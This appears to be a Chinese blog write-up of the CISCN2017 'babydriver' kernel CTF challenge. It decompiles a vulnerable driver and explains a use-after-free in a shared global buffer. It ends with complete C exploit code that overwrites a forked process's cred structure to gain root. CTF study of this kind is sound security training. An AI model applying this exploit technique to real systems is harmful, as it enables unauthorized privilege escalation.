本文最后更新于:星期五, 二月 15日 2019, 5:08 下午
题目来源:CISCN2017 babydriver
拿到手后是一个压缩包,解压后有三个文件
boot.sh #启动脚本
bzImage #内核binary
rootfs.cpio #文件系统映像
boot.sh
可以发现开启了smep防护,而smep保护主要功能是禁止内核执行用户态的代码
将rootfs.cpio解压,查看里面的文件
可以发现flag的owner被设为root,以及它加载了babydriver.ko这个内核模块。很明显,漏洞应该就在这个模块中
防护机制:
☁ 4.4.72 checksec babydriver.ko
[*] '/home/zs0zrc/pwn/kernel/babydriver/file/lib/modules/4.4.72/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
将内核模块取出,用ida分析
分析下主要的函数
babyrelease
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf); //释放堆空间
printk("device release\n");
return 0;
}
这里涉及到了一个结构体
babydevice_t
00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends
babyopen
申请一块大小为0x40的空间,地址赋给babydev_struct.device_buf,同时将babydev_struct.device_buf_len设为0x40
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
babyioctl
这个函数实现了一个设备控制命令0x10001,功能是将全局变量 babydev_struct中的babydev_struct.device_buf释放掉,然后再根据用户传入的size重新申请一块空间,并且将babydev_struct.device_buf_len设置为对应的值
// local variable allocation has failed, the output may be wrong!
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}
babywirte
这里我用ida反编译的代码看的有点奇怪,所以我看了下汇编的代码,这里copy_from_user()中的参数应该是
copy_from_user(babydev_struct.device_buf,buffer,length),就是从用户空间buffer中拷贝数据到babydev_struct.device_buf
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len <= v4 )
return result;
v6 = v4;
copy_from_user();
result = v6;
return result;
}
babyread
这个和babywrite差不多,将babydev_struct.device_buf 的内容拷贝到buffer中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer, length, offset);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len <= v4 )
return result;
v6 = v4;
copy_to_user(buffer);
result = v6;
return result;
}
漏洞点
这里存在一个伪条件竞争的UAF漏洞,如果同时打开两个设备,那么后面分配的设备会覆盖掉之前的设备,因为babydev_struct是全局变量。同理,如果释放掉第一个设备,那么第二个设备也是被释放过的。
利用思路
这里采用改写进程的cred结构体来达到提权的目的。
- 打开两次设备,通过ioctl改写设备大小为cred结构体的大小,然后释放掉设备
- fork一个新进程,这个新进程的cred结构体所在的空间会和之前释放掉的设备的空间重合
- 通过另一个文件描述符写,将cred中的uid和gid改为0
对应版本的cred结构体,大小为0xa8
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8);
close(fd1);
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if (pid == 0)
{
int buf[20]={0};
write(fd2,buf,28);
system("/bin/sh");
puts("you are root now");
}
else
{
wait(NULL);
}
return 0;
}
静态编译exp,然后将得到的二进制文件放入解压的文件夹下,重新打包系统
find . | cpio -o --format=newc > rootfs.cpio
启动系统,运行exp,获取root权限
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!